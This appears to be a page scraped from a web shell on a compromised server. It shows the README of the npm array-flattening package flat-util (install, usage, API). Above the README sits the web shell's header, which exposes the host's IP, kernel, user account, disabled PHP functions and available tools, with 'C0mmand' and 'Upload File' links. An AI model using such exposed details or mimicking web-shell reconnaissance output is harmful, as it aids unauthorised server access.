Server IP : 92.205.26.207 / Your IP : 216.73.216.16 Web Server : Apache System : Linux 207.26.205.92.host.secureserver.net 4.18.0-553.60.1.el8_10.x86_64 #1 SMP Thu Jul 10 04:01:16 EDT 2025 x86_64 User : zikryat ( 1002) PHP Version : 8.3.23 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/zikryat/public_html/node_modules/extract-css/../flat-util/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
# flat-util  > Flatten a nested array. The nesting can be to any depth. If you pass shallow, the array will only be flattened one level. ## Features - Small utility to flatten nested arrays. - Free of TypeScript. 😄 ## Install Install with [npm](https://npmjs.org/package/flat-util) ``` $ npm install flat-util ``` Or [unpkg](https://unpkg.com/flat-util/) ``` <script src="https://unpkg.com/[email protected]/umd/index.js" /> ``` Check out the unit tests on [CodePen](https://codepen.io/jonkemp/full/YzPBmwz). ## Usage ```js const flatten = require('flat-util'); flatten([1, 2, [3, 4]]); //=> [1, 2, 3, 4] flatten([1, [2], [3, [[4]]]]); //=> [1, 2, 3, 4]; flatten([1, [2], [3, [[4]]]], true); //=> [1, 2, 3, [[4]]]; ``` --- | **Like us a lot?** Help others know why you like us! **Review this package on [pkgreview.dev](https://pkgreview.dev/npm/flat-util)** | ➡ | [](https://pkgreview.dev/npm/flat-util) | | ----------------------------------------------------------------------------------------------------------------------------------------- | --- | --------------------------------------------------------------------------------------------------------------------- | ## API ### flatten(input, shallow) #### input Type: `array` Default: `none` The array to flatten. #### shallow Type: `boolean` Default: `false` Whether or not to flatten the array only one level. ## License MIT